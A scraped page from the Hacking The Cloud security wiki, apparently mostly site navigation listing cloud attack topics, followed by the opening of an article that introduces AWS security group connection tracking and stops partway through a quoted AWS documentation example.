2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/connection-tracking.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=connection-tracking>Connection Tracking<a class=headerlink href=#connection-tracking title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://frichetten.com/blog/abusing-aws-connection-tracking/ >Abusing AWS Connection Tracking</a> by <a href=https://twitter.com/frichette_n>Nick Frichette</a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> </ul> </div> <p>Security Groups in AWS have an interesting capability known as <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html>Connection Tracking</a>. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.</p> <p>There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, "if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP 